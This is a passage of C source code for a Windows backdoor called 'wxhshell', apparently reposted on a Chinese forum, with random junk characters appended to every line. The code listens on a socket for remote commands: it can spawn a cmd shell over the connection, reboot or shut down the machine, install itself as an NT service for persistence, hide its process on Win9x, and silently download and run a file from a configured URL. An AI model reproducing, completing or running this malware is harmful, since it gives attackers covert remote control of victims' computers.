      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x w?9W4<  
    break; Op$J"R  
  } *]>OCGsr  
  // 安装 ('o; M:  
  case 'i': {  h>L6{d1  
    if(Install()) #r:Kg&W2FO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Me K\eZ\  
    else 9/X v&<Tn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fbx;-He!  
    break; +}G>M=t::  
    } k.? T.9  
  // 卸载 &' Nk2{  
  case 'r': { $CQwBsYb=  
    if(Uninstall()) EbwZZSds1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C(%5,|6  
    else ,rl <ye*&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RfKxwo|M<  
    break; Bu >yRL=*  
    } 'bY|$\I  
  // 显示 wxhshell 所在路径 <8z[,X}bM  
  case 'p': { um0}`Xq^  
    char svExeFile[MAX_PATH]; 1o6J9kCq^3  
    strcpy(svExeFile,"\n\r"); R=Ly49  
      strcat(svExeFile,ExeFile); Kz*AzB  
        send(wsh,svExeFile,strlen(svExeFile),0); iqv\ag  
    break; k`4\.m"&  
    } E*T84Jh6  
  // 重启 T=f;n;/>  
  case 'b': { gx>mKSzy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7q{v9xKy  
    if(Boot(REBOOT)) @SQ*/sw (c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fp|rMq  
    else { W*/s4 N  
    closesocket(wsh); n`I jG  
    ExitThread(0); nO.+&kA  
    } ;~1/eF  
    break; 3_1Io+uXk  
    } M:Y!k<p  
  // 关机 YT 03>!B  
  case 'd': { '`goy%Wd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ##+ 8GLQM  
    if(Boot(SHUTDOWN)) WbDC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ofrlTw&o  
    else { $d??(   
    closesocket(wsh); )i6U$,]  
    ExitThread(0); $b 71  
    } . =foXN  
    break; k s`  
    } CR<pB)F?a  
  // 获取shell )'I<xx'1  
  case 's': { PS<tS_.  
    CmdShell(wsh); W-ND<=:Up  
    closesocket(wsh); ,"MUfZ  
    ExitThread(0); buM>^A"  
    break; hr}R,BR|  
  } +uGP(ONY  
  // 退出 Sdu@!<?B  
  case 'x': { \g[f4xAV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b%~3+c  
    CloseIt(wsh); R\Ynn^w  
    break; VflPNzixb!  
    } b+j_EA_b  
  // 离开 i$ZpoM  
  case 'q': { 7;s0m0<%~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :)V0zHo&(  
    closesocket(wsh); hG3$ ]i9  
    WSACleanup(); ~i&< !O&  
    exit(1); ToXFMkwY  
    break; {8p?we3l1  
        } Gt%?[  
  } vFvu8*0  
  } C%7)sLWjJS  
P;91C'T-x  
  // 提示信息 ]}Hv,a   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^d $e^cU  
} U &k 3  
  } ?}Ptb&Vk(  
o?hw2-mH  
  return; VKfHN_m*  
} \C\y' H5  
A)a+LW'=u  
// shell模块句柄 4Jy,IKPp  
int CmdShell(SOCKET sock) Ecl7=-y  
{ kX .1#%Ex  
STARTUPINFO si; ZC-evy  
ZeroMemory(&si,sizeof(si)); )PNH| h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9d(v^T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nk,Mo5iqV  
PROCESS_INFORMATION ProcessInfo; MJR\ g3  
char cmdline[]="cmd"; ;}9Ws6#XQs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^p%+rB.j[  
  return 0; jP6G.aiO  
} tfIBsw.  
&MLhCekY  
// 自身启动模式 K>JU/(  
int StartFromService(void) kT=|tQ@  
{ 3A/MFQ#2  
typedef struct NP`ll0s  
{ ?B:wV?-`  
  DWORD ExitStatus; eOO*gM=  
  DWORD PebBaseAddress; MP&4}De  
  DWORD AffinityMask; %.gjBI=  
  DWORD BasePriority; 7n/I'r  
  ULONG UniqueProcessId; g#nsA(_L  
  ULONG InheritedFromUniqueProcessId; Y$5v3E\uc  
}   PROCESS_BASIC_INFORMATION; a9JJuSRC  
x(6.W"-S  
PROCNTQSIP NtQueryInformationProcess; A/6nV n  
zQ^[=siZ}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6C}Z1lZl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d#,V^  
nE.s  
  HANDLE             hProcess; S5 vMP N  
  PROCESS_BASIC_INFORMATION pbi; g {wPw  
! r\ktX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (&x\,19U$  
  if(NULL == hInst ) return 0; J3E:r_+  
u+FftgA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aVL%-Il}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xH-k~#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4KB?g7_*  
Mo r-$a8  
  if (!NtQueryInformationProcess) return 0; #`wfl9tj  
R.$Y1=U6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Iq.0E9_  
  if(!hProcess) return 0; 6j![m+vo%  
l),13"?C(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 32'9Ch.  
%R"nm  
  CloseHandle(hProcess); 4B>|Wft{p]  
_ L6>4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a m%{M7":7  
if(hProcess==NULL) return 0; &,|uTIs  
{]N?DmF  
HMODULE hMod; [NDYJ'VGe  
char procName[255]; 3+PM_c)Y  
unsigned long cbNeeded; @D{[Hj`<  
r/:'}os;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;8kfgp M_  
e+aQ$1^t  
  CloseHandle(hProcess); hzVO.Q*  
} /FM#Xh  
if(strstr(procName,"services")) return 1; // 以服务启动 r{;4(3E2  
EU~'n-  
  return 0; // 注册表启动 @&> +`kgU-  
} Ki\jiflc7  
zOp"n\  
// 主模块 S(xA}0]  
int StartWxhshell(LPSTR lpCmdLine) i<![i5uAI  
{ ]c+'SJQ  
  SOCKET wsl; j* ja)  
BOOL val=TRUE; DzOJ{dF  
  int port=0; c(JO;=,@9  
  struct sockaddr_in door; SX8%F:<.  
D4T+Gk"n  
  if(wscfg.ws_autoins) Install(); |,f6c Om f  
B}T72!a  
port=atoi(lpCmdLine); Ps-d#~4U;  
_CT|5wQF<  
if(port<=0) port=wscfg.ws_port; wpmtv325  
|Q+v6r(<zZ  
  WSADATA data; `buTP?]4.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aa!c>"g6  
N.rB-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jc6 D^=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l)bUHh5[  
  door.sin_family = AF_INET; 0$ EJ4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w| # 79,&  
  door.sin_port = htons(port); L2tmo-]nw  
%QkvBg*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?os0JQVB  
closesocket(wsl); r73Xh"SL  
return 1; O;tn5  
} Vt>E\{@[t  
_en8hi@Z  
  if(listen(wsl,2) == INVALID_SOCKET) { m 9Q{ )?J7  
closesocket(wsl); M?97F!\U  
return 1; Kep?=9r4+  
} ?whp _  
  Wxhshell(wsl); xbIA97g-O,  
  WSACleanup(); Y6Q6--P  
0eIR)#j*  
return 0; c Ix(;[U  
KcE=m\h  
} J0o[WD$A x  
!b_IH0]U  
// 以NT服务方式启动 ,;}RIcvQV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "b;?2_w:E  
{ =cY]cPO  
DWORD   status = 0; d{jl&:  
  DWORD   specificError = 0xfffffff; lnUy ? 0(  
M,P_xkLp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H(|v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #{a<{HX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qKXn=J/0tA  
  serviceStatus.dwWin32ExitCode     = 0; >~ :]+q  
  serviceStatus.dwServiceSpecificExitCode = 0; >@o*v*25  
  serviceStatus.dwCheckPoint       = 0; _\zf XHp  
  serviceStatus.dwWaitHint       = 0; \/%mabLK  
k2a^gCBC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CJ>=odK[  
  if (hServiceStatusHandle==0) return; O jmz/W  
G})mw  
status = GetLastError(); XafyI*pOX  
  if (status!=NO_ERROR) E&AR=yqk  
{ w.jATMJ)F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'AU!xG6OQ  
    serviceStatus.dwCheckPoint       = 0; `Hqu 2 '`  
    serviceStatus.dwWaitHint       = 0; %|~ UNP$  
    serviceStatus.dwWin32ExitCode     = status; Y,r2m nq  
    serviceStatus.dwServiceSpecificExitCode = specificError; SQ[}]Tm;n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &-9D.'WzP  
    return; BN67o]*]<  
  } =v}.sJ V?  
Lj#6K@u@Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 70Am]L&M  
  serviceStatus.dwCheckPoint       = 0; ){Y2TWW&0  
  serviceStatus.dwWaitHint       = 0; PC5FfX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P:o<kRj1  
}  E7,\s   
lPQH_+)Z"  
// 处理NT服务事件,比如:启动、停止 X,b} d#\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1vr/|RWW  
{ &DV'%h>i=  
switch(fdwControl) 9cQSS'`F  
{ {rDZKy^f  
case SERVICE_CONTROL_STOP: uo^>95lkv  
  serviceStatus.dwWin32ExitCode = 0; +y2*[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @QofsWC  
  serviceStatus.dwCheckPoint   = 0; Q] HRg4r  
  serviceStatus.dwWaitHint     = 0; ?bEYvHAzg  
  { okW3V}/x/z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iT5%X   
  } A@4Cfb@  
  return; ~Hq 2'  
case SERVICE_CONTROL_PAUSE: l#Tm`br  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r]yq #T`z  
  break; ,^(T^ -  
case SERVICE_CONTROL_CONTINUE: Hcpw [%(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K|&y?w  
  break; TFhj]r^ {  
case SERVICE_CONTROL_INTERROGATE: a ]*^uEs  
  break; DRnXo-Aaj  
}; -p 1arA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Co M8  
} oj/tim  
%2{E'^#)p-  
// 标准应用程序主函数 GZ%R fKyQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hf '3yEm  
{ 2+'&||h  
5"sF#Y&  
// 获取操作系统版本 ifkA3]  
OsIsNt=GetOsVer(); 0-FbV,:;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +RM3EvglDQ  
mnePm{  
  // 从命令行安装 $T6<9cB@  
  if(strpbrk(lpCmdLine,"iI")) Install(); >&TktQO_T  
al2v1.Y}  
  // 下载执行文件 >wn&+%i&  
if(wscfg.ws_downexe) { W^x[ma z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,/KHKLY7  
  WinExec(wscfg.ws_filenam,SW_HIDE); =F`h2A;a  
} gm8H)y,  
 _R ]1J0  
if(!OsIsNt) { )gR&Ms4  
// 如果时win9x,隐藏进程并且设置为注册表启动 zAH+{4lC+  
HideProc(); k $);<= ZI  
StartWxhshell(lpCmdLine); `>V.}K^4  
} 5H79) n>  
else OygYP  
  if(StartFromService()) ?E`J-ncP  
  // 以服务方式启动 F"q3p4-<>  
  StartServiceCtrlDispatcher(DispatchTable); 1)%o:Xy o  
else 9}4L 8?2  
  // 普通方式启动 qIk6S6  
  StartWxhshell(lpCmdLine); i|<*EXB"  
4bO7rhve  
return 0; FvkKM+?F  
}
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只看该作者 1 发表于: 2006-10-10
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